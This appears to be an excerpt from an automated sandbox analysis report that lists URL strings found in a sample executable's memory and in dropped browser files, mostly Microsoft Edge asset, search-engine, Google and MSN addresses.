Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, KFHJJDHJEGHJKECBGCFH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, KFHJJDHJEGHJKECBGCFH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 1198deea-32be-4e71-9664-cd80902f39e1.tmp.10.dr, 721186f7-da6b-4321-b0e6-8b31ecc65bbc.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 1198deea-32be-4e71-9664-cd80902f39e1.tmp.10.dr, 721186f7-da6b-4321-b0e6-8b31ecc65bbc.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, KFHJJDHJEGHJKECBGCFH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, KFHJJDHJEGHJKECBGCFH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: KFHJJDHJEGHJKECBGCFH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
